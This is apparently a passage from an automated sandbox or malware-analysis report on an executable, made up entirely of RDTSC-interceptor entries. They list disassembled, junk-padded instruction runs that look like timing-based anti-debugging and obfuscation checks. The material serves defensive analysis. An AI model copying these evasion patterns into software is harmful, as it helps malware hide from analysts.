Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9C87B6 second address: 9C8805 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF4C05015C0h 0x00000008 jmp 00007FF4C05015A1h 0x0000000d jmp 00007FF4C05015A9h 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 jmp 00007FF4C05015A9h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 98F0F2 second address: 98F0F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 98F0F8 second address: 98F0FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 98F0FC second address: 98F10D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FF4C0C3E166h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 98F10D second address: 98F114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 98F114 second address: 98F138 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jne 00007FF4C0C3E166h 0x00000009 jmp 00007FF4C0C3E176h 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 98F138 second address: 98F13E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 98F13E second address: 98F142 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9CBC07 second address: 9CBC32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C05015A4h 0x00000007 jmp 00007FF4C050159Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9CBD9D second address: 9CBDD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FF4C0C3E174h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jmp 00007FF4C0C3E175h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9CE4B6 second address: 9CE4BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9CE8D9 second address: 9CE8DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9CE8DF second address: 9CE8F1 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF4C0501596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9CE8F1 second address: 9CE8F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9CE8F6 second address: 9CE900 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FF4C0501596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9CEB35 second address: 9CEB4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E176h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9CEFFC second address: 9CF002 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9CF002 second address: 9CF006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9CF0A6 second address: 9CF0AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9CF2C5 second address: 9CF2C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9CF535 second address: 9CF556 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FF4C05015A7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9CF621 second address: 9CF66E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 jmp 00007FF4C0C3E16Ah 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007FF4C0C3E168h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 xor dword ptr [ebp+122D5632h], edx 0x0000002c push eax 0x0000002d pushad 0x0000002e jmp 00007FF4C0C3E16Dh 0x00000033 push eax 0x00000034 push edx 0x00000035 jg 00007FF4C0C3E166h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9CF66E second address: 9CF672 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9CFBCB second address: 9CFBCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9CFBCF second address: 9CFBD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9CFBD9 second address: 9CFBF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E16Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9CFBF1 second address: 9CFBF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D1541 second address: 9D1545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D1545 second address: 9D1549 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D1549 second address: 9D154F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D154F second address: 9D15DA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FF4C05015A4h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e add dword ptr [ebp+122D27E1h], eax 0x00000014 push 00000000h 0x00000016 call 00007FF4C05015A8h 0x0000001b or dword ptr [ebp+122D180Eh], ecx 0x00000021 pop esi 0x00000022 push 00000000h 0x00000024 pushad 0x00000025 jns 00007FF4C050159Ch 0x0000002b call 00007FF4C05015A7h 0x00000030 call 00007FF4C05015A9h 0x00000035 pop edx 0x00000036 pop eax 0x00000037 popad 0x00000038 xchg eax, ebx 0x00000039 push ebx 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D15DA second address: 9D15E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D2083 second address: 9D20A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF4C05015A0h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e js 00007FF4C05015A0h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D20A6 second address: 9D2145 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007FF4C0C3E168h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 00000019h 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 mov dword ptr [ebp+122D2733h], ecx 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ebp 0x0000002c call 00007FF4C0C3E168h 0x00000031 pop ebp 0x00000032 mov dword ptr [esp+04h], ebp 0x00000036 add dword ptr [esp+04h], 00000018h 0x0000003e inc ebp 0x0000003f push ebp 0x00000040 ret 0x00000041 pop ebp 0x00000042 ret 0x00000043 mov dword ptr [ebp+122D2246h], esi 0x00000049 jmp 00007FF4C0C3E179h 0x0000004e push 00000000h 0x00000050 mov esi, dword ptr [ebp+122D389Bh] 0x00000056 xchg eax, ebx 0x00000057 jg 00007FF4C0C3E181h 0x0000005d push eax 0x0000005e pushad 0x0000005f push eax 0x00000060 push edx 0x00000061 push ecx 0x00000062 pop ecx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D2CE6 second address: 9D2D4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D21DBh], edi 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007FF4C0501598h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d push 00000000h 0x0000002f mov edi, dword ptr [ebp+122D38F7h] 0x00000035 xchg eax, ebx 0x00000036 push edi 0x00000037 pushad 0x00000038 jmp 00007FF4C050159Bh 0x0000003d push edx 0x0000003e pop edx 0x0000003f popad 0x00000040 pop edi 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007FF4C05015A8h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D2D4B second address: 9D2D51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D2D51 second address: 9D2D55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D3667 second address: 9D366D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D366D second address: 9D3688 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF4C050159Ch 0x00000008 jc 00007FF4C0501596h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jne 00007FF4C0501598h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D4DFA second address: 9D4E61 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jbe 00007FF4C0C3E166h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov esi, dword ptr [ebp+122D1A01h] 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007FF4C0C3E168h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000014h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push edi 0x00000036 call 00007FF4C0C3E168h 0x0000003b pop edi 0x0000003c mov dword ptr [esp+04h], edi 0x00000040 add dword ptr [esp+04h], 00000018h 0x00000048 inc edi 0x00000049 push edi 0x0000004a ret 0x0000004b pop edi 0x0000004c ret 0x0000004d or esi, 21A4A4E6h 0x00000053 mov dword ptr [ebp+122D1B88h], esi 0x00000059 xchg eax, ebx 0x0000005a push eax 0x0000005b push edx 0x0000005c push ecx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D4E61 second address: 9D4E66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D4E66 second address: 9D4E7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF4C0C3E174h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D6A32 second address: 9D6A3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop esi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D6A3C second address: 9D6A43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D9BD5 second address: 9D9BDF instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF4C0501596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9DA22C second address: 9DA231 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9DB378 second address: 9DB37C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9DC203 second address: 9DC218 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E171h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9DB37C second address: 9DB39E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FF4C050159Ch 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF4C050159Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9DB39E second address: 9DB3A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9DC2E8 second address: 9DC2ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9DD325 second address: 9DD345 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF4C0C3E166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FF4C0C3E173h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9DE1CE second address: 9DE1D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9DE35F second address: 9DE363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9DF4FB second address: 9DF51F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007FF4C05015A4h 0x0000000d push eax 0x0000000e push edx 0x0000000f jns 00007FF4C0501596h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9DE363 second address: 9DE369 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9DE369 second address: 9DE373 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FF4C0501596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E03AF second address: 9E03D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E03D3 second address: 9E03D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E221A second address: 9E221F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E221F second address: 9E2224 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E2224 second address: 9E229B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FF4C0C3E176h 0x0000000f nop 0x00000010 pushad 0x00000011 jne 00007FF4C0C3E168h 0x00000017 add dword ptr [ebp+122D1861h], edi 0x0000001d popad 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 sbb ebx, 194F2AFAh 0x00000027 pop ebx 0x00000028 mov bh, 29h 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ebx 0x0000002f call 00007FF4C0C3E168h 0x00000034 pop ebx 0x00000035 mov dword ptr [esp+04h], ebx 0x00000039 add dword ptr [esp+04h], 00000017h 0x00000041 inc ebx 0x00000042 push ebx 0x00000043 ret 0x00000044 pop ebx 0x00000045 ret 0x00000046 mov di, cx 0x00000049 xchg eax, esi 0x0000004a push eax 0x0000004b jno 00007FF4C0C3E168h 0x00000051 pop eax 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 jc 00007FF4C0C3E16Ch 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E229B second address: 9E229F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E229F second address: 9E22B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF4C0C3E16Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E41EF second address: 9E4250 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF4C0501596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007FF4C0501598h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 mov ebx, dword ptr [ebp+122D18B1h] 0x0000002b push 00000000h 0x0000002d mov ebx, dword ptr [ebp+122D221Eh] 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push eax 0x00000038 call 00007FF4C0501598h 0x0000003d pop eax 0x0000003e mov dword ptr [esp+04h], eax 0x00000042 add dword ptr [esp+04h], 00000018h 0x0000004a inc eax 0x0000004b push eax 0x0000004c ret 0x0000004d pop eax 0x0000004e ret 0x0000004f sub bh, FFFFFFE8h 0x00000052 push eax 0x00000053 pushad 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E4250 second address: 9E4256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E4256 second address: 9E4263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007FF4C0501596h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E1459 second address: 9E145E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E145E second address: 9E1463 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E151B second address: 9E1534 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF4C0C3E16Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E52C5 second address: 9E52CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E52CC second address: 9E52D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E52D1 second address: 9E5319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FF4C0501596h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e movsx edi, cx 0x00000011 mov bx, cx 0x00000014 push 00000000h 0x00000016 mov bx, dx 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007FF4C0501598h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 0000001Dh 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 movzx ebx, bx 0x00000038 push eax 0x00000039 pushad 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E5319 second address: 9E533A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF4C0C3E179h 0x00000009 popad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E61DA second address: 9E61DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E61DF second address: 9E6226 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF4C0C3E16Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov ebx, 45CED8FCh 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007FF4C0C3E168h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e push 00000000h 0x00000030 or bx, CA01h 0x00000035 stc 0x00000036 xchg eax, esi 0x00000037 push eax 0x00000038 push edx 0x00000039 push esi 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E6226 second address: 9E622B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
